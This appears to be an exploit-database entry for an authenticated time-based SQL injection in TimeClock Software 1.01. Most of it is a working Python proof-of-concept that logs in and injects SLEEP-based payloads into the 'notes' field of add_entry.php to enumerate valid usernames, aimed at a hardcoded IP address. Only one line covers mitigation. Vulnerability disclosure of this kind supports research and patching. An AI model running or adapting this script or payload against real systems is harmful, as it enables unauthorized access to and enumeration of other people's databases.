header-logo
Suggest Exploit
vendor:
TimeClock Software
by:
François Bibeau and Tyler Butler
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: TimeClock Software
Affected Version From: 1.01
Affected Version To: 1.01
Patch Exists: NO
Related CWE: N/A
CPE: a:timeclock_software:timeclock_software:1.01
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04.3 (LTS) x64, mysql 5.7, php 7.2.1-apache
2020

TimeClock Software 1.01 Authenticated Time-Based SQL Injection

TimeClock Software 1.01 is vulnerable to an authenticated time-based SQL injection vulnerability. This vulnerability allows an attacker to enumerate valid usernames from the application's database. The exploit is achieved by sending a specially crafted HTTP POST request to the add_entry.php page with a malicious payload in the 'notes' parameter. If the username is valid, the application will delay its response for 5 seconds, allowing the attacker to detect the valid username.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

#!/usr/bin/python3

# Exploit Title: TimeClock Software 1.01 Authenticated Time-Based SQL Injection
# Date: July 21, 2020
# Exploit Author: François Bibeau
# Co Author: Tyler Butler, http://tbutler.org, https://twitter.com/tbutler0x90
# Vendor Homepage: http://timeclock-software.net/
# Software Link: http://timeclock-software.net/timeclock-download.php
# Version: 1.01
# Tested on: Ubuntu 18.04.3 (LTS) x64, mysql 5.7, php 7.2.1-apache

import time
import requests


login_url = 'http://159.203.41.34/login_action.php'    # Ensure to change ip to match target
login_data = {'username':'fred','password':'fred','submit':'Log In'}
headers = {'User-Agent': 'Mozilla/5.0'}

# init session & login
session = requests.Session()
session.post(login_url,headers=headers,data=login_data)

# static list provided for PoC, could use a text file
users = ['john','bill','tim','fred','garry','sid','admin']

for user in users:
	url = "http://159.203.41.34/add_entry.php"
	payload = f"' OR IF((SELECT username FROM user_info WHERE username='{user}')='{user}', SLEEP(5), NULL)='"

	data = {'data_month': '1',
	'data_day': '1',
	'data_year': '1',
	'type_id': '5',
	'hours': '1',
	'notes': payload,
	'submit': 'Add'}

	print(f'Checking user {user}... ', end = '')

	start = time.time()
	response = session.post(url,data=data)
	end = time.time()

	delay = end - start

	if delay > 5:
		print('User found!')
	else:
		print('')